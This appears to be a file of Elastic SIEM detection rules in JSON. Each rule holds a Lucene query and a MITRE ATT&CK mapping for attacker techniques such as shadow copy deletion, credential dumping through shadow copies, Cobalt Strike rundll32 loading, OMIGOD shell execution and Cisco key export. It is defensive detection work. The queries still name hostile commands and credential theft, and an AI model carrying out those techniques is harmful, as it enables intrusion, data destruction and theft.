{"description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67e273ee-ec24-f683-24ce-529f789f334b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange Set OabVirtualDirectory ExternalUrl Property", "query": "(*Set\\-OabVirtualDirectory* AND *ExternalUrl* AND *Page_Load* AND *script*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jose Rodriguez @Cyb3rPandaH"], "license": ""}
{"description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", "enabled": false, "false_positives": ["Legitimate modification of the registry key by legitimate program"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0f7318c-743c-9731-85f3-6f6e139a3b7b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Run Once Task Configuration in Registry", "query": "((winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* AND winlog.event_data.TargetObject:*\\\\StubPath) AND (NOT ((winlog.event_data.Details:\\\"C\\:\\\\Program\\ Files\\\\Google\\\\Chrome\\\\Application\\\\* AND winlog.event_data.Details:*\\\\Installer\\\\chrmstp.exe\\\"\\ \\-\\-configure\\-user\\-settings\\ \\-\\-verbose\\-logging\\ \\-\\-system\\-level) OR (winlog.event_data.Details:(\\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\* OR \\\"C\\:\\\\Program\\ Files\\\\Microsoft\\\\Edge\\\\Application\\\\*) AND winlog.event_data.Details:*\\\\Installer\\\\setup.exe\\\"\\ \\-\\-configure\\-user\\-settings\\ \\-\\-verbose\\-logging\\ \\-\\-system\\-level\\ \\-\\-msedge\\ \\-\\-channel\\=stable))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Avneet Singh @v3t0_", "oscd.community"], "license": ""}
{"description": "Rule to detect the Hybrid Connection Manager service installation.", "enabled": false, "false_positives": ["Legitimate use of Hybrid Connection Manager via Azure function apps."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63aea690-d9bf-e4ce-14a6-1a593d841992", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HybridConnectionManager Service Installation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceName:\"HybridConnectionManager\" AND winlog.event_data.ServiceFileName:*HybridConnectionManager*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1554"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1554", "name": "Compromise Client Software Binary", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", "enabled": false, "false_positives": ["Legitimate use of Hybrid Connection Manager via Azure function apps."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14e25afc-334b-edf9-3afd-67646a28a89f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HybridConnectionManager Service Running", "query": "(winlog.event_id:(\"40300\" OR \"40301\" OR \"40302\") AND (*HybridConnection* OR *sb\\:\\/\\/* OR *servicebus.windows.net* OR *HybridConnectionManage*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1554"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1554", "name": "Compromise Client Software Binary", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.", "enabled": false, "false_positives": ["Legitimate use of SCX RunAsProvider ExecuteScript."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e3378c57-c955-0e1b-cfe0-a47be6fe1ad7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "OMIGOD SCX RunAsProvider ExecuteScript", "query": "(user.name:\"root\" AND LogonId:\"0\" AND process.working_directory:\"\\/var\\/opt\\/microsoft\\/scx\\/tmp\" AND process.command_line:*\\/etc\\/opt\\/microsoft\\/scx\\/conf\\/tmpdir\\/scx*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation", "T1068", "T1190", "T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.", "enabled": false, "false_positives": ["Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1883a318-2ada-dcb2-e49b-d280600e83f1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "OMIGOD SCX RunAsProvider ExecuteShellCommand", "query": "(type:\"SYSCALL\" AND syscall:\"execve\" AND uid:\"0\" AND cwd:\"\\/var\\/opt\\/microsoft\\/scx\\/tmp\" AND comm:\"sh\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation", "T1068", "T1190", "T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.", "enabled": false, "false_positives": ["Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1883a318-2ada-dcb2-e49b-d280600e83f1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "OMIGOD SCX RunAsProvider ExecuteShellCommand", "query": "(user.name:\"root\" AND LogonId:\"0\" AND process.working_directory:\"\\/var\\/opt\\/microsoft\\/scx\\/tmp\" AND process.command_line:*\\/bin\\/sh*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "Privilege Escalation", "T1068", "T1190", "T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9396d2d3-9993-0143-8be1-0b0e8de53876", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Load by Rundll32", "query": "((process.executable.text:*\\\\rundll32.exe OR winlog.event_data.OriginalFileName:\"RUNDLL32.EXE\" OR process.command_line.text:(*rundll32.exe* OR *rundll32\\ *)) AND (process.command_line.text:*.dll* AND process.command_line.text:(*\\ StartW OR *,StartW)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Wojciech Lesicki"], "license": ""}
{"description": "schtasks.exe create task from user AppData\\Local\\Temp", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c71eb192-5913-2f02-0ed5-9acf88541013", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Add Scheduled Task From User AppData Temp", "query": "((process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create\\ * AND process.command_line:*\\\\AppData\\\\Local\\\\Temp*) AND (NOT ((process.command_line:*\\/Create\\ \\/TN\\ \\\"klcp_update\\\"\\ \\/XML\\ * AND process.command_line:*\\\\klcp_update_task.xml*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["malware analyse "], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Search for usage of reg or Powershell by non-priveleged users to modify service configuration in registry", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d0aab76-63e7-5a60-7fe6-efcfd33d3560", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Non-privileged Usage of Reg or Powershell", "query": "(((process.command_line:*reg\\ * AND process.command_line:*add*) OR process.command_line:(*powershell* OR *set\\-itemproperty* OR *\\ sp\\ * OR *new\\-itemproperty*)) AND (IntegrityLevel:\"Medium\" AND process.command_line:*ControlSet* AND process.command_line:*Services* AND process.command_line:(*ImagePath* OR *FailureCommand* OR *ServiceDLL*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Ryan Plas (rule)", "oscd.community"], "license": ""}
{"description": "See what commands are being input into the device by other people, full credentials can be in the history", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Not commonly run by administrators, especially if remote logging is configured"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d48f22ae-e82c-4319-7a5a-bed9c5a17277", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cisco Show Commands Input", "query": "((*show history*) OR (*show history all*) OR (*show logging*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "See what files are being deleted from flash file systems", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Will be used sometimes by admins to clean up local flash space"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0bc98715-69d7-8007-cb30-c150774a0aee", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cisco File Deletion", "query": "((*erase*) OR (*delete*) OR (*format*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070", "T1561", "T1561"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1561", "name": "Disk Wipe", "reference": ""}, {"id": "T1561", "name": "Disk Wipe", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Setting have been change in Windows Firewall", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a64a5887-19f3-284d-8500-6a83730b3924", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Setting Change in Windows Firewall with Advanced Security", "query": "winlog.event_id:(\"2002\" OR \"2003\" OR \"2008\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", "enabled": false, "false_positives": ["Scripts and administrative tools that use INF files for driver installation with setupapi.dll"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8411e6d6-593c-2fe7-7639-405d44f10273", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Rundll32 Setupapi.dll Activity", "query": "(process.executable:*\\\\runonce.exe AND process.parent.executable:*\\\\rundll32.exe AND process.parent.command_line:*setupapi.dll* AND process.parent.command_line:*InstallHinfSection*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Konstantin Grishchenko", "oscd.community"], "license": ""}
{"description": "Shadow Copies creation using operating systems utilities, possible credential access", "enabled": false, "false_positives": ["Legitimate administrator working with shadow copies, access for backup purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1a86a23-8089-46a5-53c6-3684dc2dce99", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Shadow Copies Creation Using Operating Systems Utilities", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wmic.exe OR *\\\\vssadmin.exe) OR winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\" OR \"wmic.exe\" OR \"VSSADMIN.EXE\")) AND (process.command_line.text:*shadow* AND process.command_line.text:*create*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Shadow Copies deletion using operating systems utilities via PowerShell", "enabled": false, "false_positives": ["Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1b7a160e-3d48-0ec4-0d91-b5b529598b8c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Delete Volume Shadow Copies Via WMI With PowerShell", "query": "(process.command_line:*Get\\-WmiObject* AND process.command_line:*\\ Win32_Shadowcopy* AND process.command_line:(*Delete\$\$* OR *Remove\\-WmiObject*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Shadow Copies deletion using operating systems utilities", "enabled": false, "false_positives": ["Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31e21730-238c-d45d-a099-b083d45ebea1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Shadow Copies Deletion Using Operating Systems Utilities", "query": "((((process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wmic.exe OR *\\\\vssadmin.exe OR *\\\\diskshadow.exe) OR winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\" OR \"wmic.exe\" OR \"VSSADMIN.EXE\" OR \"diskshadow.exe\")) AND (process.command_line:*shadow* AND process.command_line:*delete*)) OR ((process.executable:*\\\\wbadmin.exe OR winlog.event_data.OriginalFileName:\"WBADMIN.EXE\") AND (process.command_line:*delete* AND process.command_line:*catalog* AND process.command_line:*quiet*))) OR ((process.executable:*\\\\vssadmin.exe OR winlog.event_data.OriginalFileName:\"VSSADMIN.EXE\") AND (process.command_line:*resize* AND process.command_line:*shadowstorage* AND process.command_line:*unbounded*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Michael Haag", "Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community", "Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Shadow Copies storage symbolic link creation using operating systems utilities", "enabled": false, "false_positives": ["Legitimate administrator working with shadow copies, access for backup purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "47294962-a13d-f17d-d821-4b557afcd489", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Shadow Copies Access via Symlink", "query": "(process.command_line:*mklink* AND process.command_line:*HarddiskVolumeShadowCopy*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Show when a monitor or a span/rspan is setup or modified", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Admins may setup new or modify old spans, or use a monitor for troubleshooting"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2a266f90-645f-510b-c268-74f96056fcee", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cisco Sniffing", "query": "((*monitor capture point*) OR (*set span*) OR (*set rspan*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Show when private keys are being exported from the device, or when new certificates are installed", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Not commonly run by administrators. Also whitelist your known good certificates"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "53e0265f-4365-dae9-e2a5-2c70d9eb7125", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cisco Crypto Commands", "query": "((*crypto pki export*) OR (*crypto pki import*) OR (*crypto pki trustpoint*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1552", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "95c468ba-c2a8-b20f-88ce-fa077535cb3b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Store File In Alternate Data Stream", "query": "(powershell.file.script_block_text:*Start\\-Process* AND powershell.file.script_block_text:*\\-FilePath\\ \\\"$env\\:comspec\\\"\\ * AND powershell.file.script_block_text:*\\-ArgumentList\\ * AND powershell.file.script_block_text:*>*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0be77bb3-a54f-123a-d538-3b016af6170e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SOURGUM Actor Behaviours", "query": "(process.executable.text:(*windows\\\\system32\\\\Physmem.sys* OR *Windows\\\\system32\\\\ime\\\\SHARED\\\\WimBootConfigurations.ini* OR *Windows\\\\system32\\\\ime\\\\IMEJP\\\\WimBootConfigurations.ini* OR *Windows\\\\system32\\\\ime\\\\IMETC\\\\WimBootConfigurations.ini*) OR (process.executable.text:(*windows\\\\system32\\\\filepath2* OR *windows\\\\system32\\\\ime*) AND process.command_line.text:*reg\\ add* AND process.command_line.text:(*HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\clsid\\\\\\{7c857801\\-7381\\-11cf\\-884d\\-00aa004b2e24\\}\\\\inprocserver32* OR *HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\clsid\\\\\\{cf4cc405\\-e2c5\\-4ddd\\-b3ce\\-5e7582d8c9fa\\}\\\\inprocserver32*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["MSTIC", "FPT.EagleEye"], "license": ""}
{"description": "Suspicious explorer.exe child of regsvr32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Explorer Child Of Regsvr32", "query": "(process.parent.executable:*\\\\regsvr32.exe AND process.executable:*\\\\explorer.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Sysmon registry detection of a local hidden user account.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a9ec1fac-9667-e57a-1cd0-046ab3578565", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Creation of a Local Hidden User Account by Registry", "query": "(winlog.event_data.TargetObject:*\\\\SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\\\\* AND winlog.event_data.TargetObject:*$ AND process.executable.text:*\\\\lsass.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
